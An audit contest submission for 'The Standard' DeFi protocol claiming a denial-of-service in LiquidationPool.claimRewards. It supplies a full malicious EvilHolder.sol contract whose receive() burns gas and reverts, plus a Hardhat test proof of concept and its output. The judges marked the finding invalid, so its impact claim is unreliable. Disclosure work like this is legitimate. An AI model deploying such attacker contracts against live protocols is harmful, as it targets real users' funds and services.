The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: low
Invalid

Any stake holder can deny service by spending gas money and reverting transaction.

Summary

Any stake holder can deny service by spending gas money and reverting transaction.

Vulnerability Details

In order to see the vulnerability, create an evil holder contract as shown below and place it in the contracts/ folder.

Filename

EvilHolder.sol

Content

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "hardhat/console.sol";
interface ILiquidationPoolClaimRewards {
function claimRewards() external;
}
interface ILiquidationPoolIncreasePosition {
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external;
}
contract EvilHolder {
address private i_liquidationPoolAddress;
address private i_TSTAddress;
address private i_EUROsAddress;
// you can increase this as much as you like, you should be willing to pay gas money when calling attack()
uint256 private constant AMOUNR_OF_TIME_TO_WASTE = 100_000;
constructor(address _liquidationPoolAddress, address _TSTAddress, address _EUROsAddress) {
i_liquidationPoolAddress = _liquidationPoolAddress;
i_TSTAddress = _TSTAddress;
i_EUROsAddress = _EUROsAddress;
}
function approveLiquidationPoolToBorrowStake(uint256 _stakeAmount) public {
ERC20(i_TSTAddress).approve(i_liquidationPoolAddress, _stakeAmount);
ERC20(i_EUROsAddress).approve(i_liquidationPoolAddress, _stakeAmount);
}
function increasePositionsInLiquidationPool(uint256 _stakeAmount) public {
ILiquidationPoolIncreasePosition(i_liquidationPoolAddress).increasePosition(_stakeAmount, _stakeAmount);
}
receive() external payable {
console.log("receive() called ");
uint256 j = 0;
for (uint256 i = 0; i < AMOUNR_OF_TIME_TO_WASTE; ++i) {
j += i;
}
revert();
}
function attack() public {
ILiquidationPoolClaimRewards(i_liquidationPoolAddress).claimRewards();
}
}

Now, you have to deploy it as follows:

Step 1:

In your tests/liquidationPool.js, create a variable called EvilHolder

describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
ERC20MockFactory, TST, EUROs;
+ let EvilHolder;

Now, at the end of beforeEach function, wait for it to get deployed and pass in the address of LiquidationPool contract as shown

LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
+ EvilHolder = await (await ethers.getContractFactory('EvilHolder')).deploy(LiquidationPool.address, TST.address, EUROs.address);
+ await EvilHolder.deployed();

Now, let's scroll down to claim rewards test suite. Inside the test suite, add the following test

Step 2

describe('claim rewards', async () => {
+ it('allows evil stake holder to deny service', async () => {
+
+ const ethCollateral = ethers.utils.parseEther('0.5');
+ const wbtcCollateral = BigNumber.from(1_000_000);
+ const usdcCollateral = BigNumber.from(500_000_000);
+ // create some funds to be "liquidated"
+ await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
+ await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
+ await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
+
+ let stakeValue = ethers.utils.parseEther('10000');
+
+ await TST.mint(user1.address, stakeValue);
+ await EUROs.mint(user1.address, stakeValue);
+ await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
+ await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
+ await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
+
+ await TST.mint(EvilHolder.address, stakeValue);
+ await EUROs.mint(EvilHolder.address, stakeValue);
+ await EvilHolder.approveLiquidationPoolToBorrowStake(stakeValue);
+ await EvilHolder.increasePositionsInLiquidationPool(stakeValue);
+
+ await fastForward(DAY);
+
+ await LiquidationPoolManager.runLiquidation(TOKEN_ID);
+
+ console.log("attack function called!")
+ let victim = EvilHolder.attack();
+ await expect(victim).to.be.reverted;
+
+ });
it('allows users to claim their accrued rewards', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);

Now when you run npx hardhat test/liquidationPool.js, you will find that the execution time is way more than normal and it is something you can increase by tweaking the variable AMOUNR_OF_TIME_TO_WASTE inside EvilHolder.sol This can potentially cause deny of service if done frequently. (You just have to get reward once and then you keep attack()ing :P - revert() will bail you out!)

Output snapshot

claim rewards
attack function called!
receive() called
✔ allows evil stake holder to deny service (22599ms)

Impact

Denial of service by keeping the contract busy.

Tools Used

Intense staring at the code base and help from equious.eth on discord (with hardhat javascript)

Recommendations

In the file LiquidationPool.sol, execution is being handled to anonymous contract address.

A possible way to get around this would be to not support native ethereum hopefully but again I know it's not a solution .... and to be honest - I don't know ! :P .

function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
// @emit event on deleting reward?
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
// @audit re-entrancy
@> (bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
@> require(_sent); // q message ?
} else {
// q re-entrancy?
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
}
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

informational/invalid

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.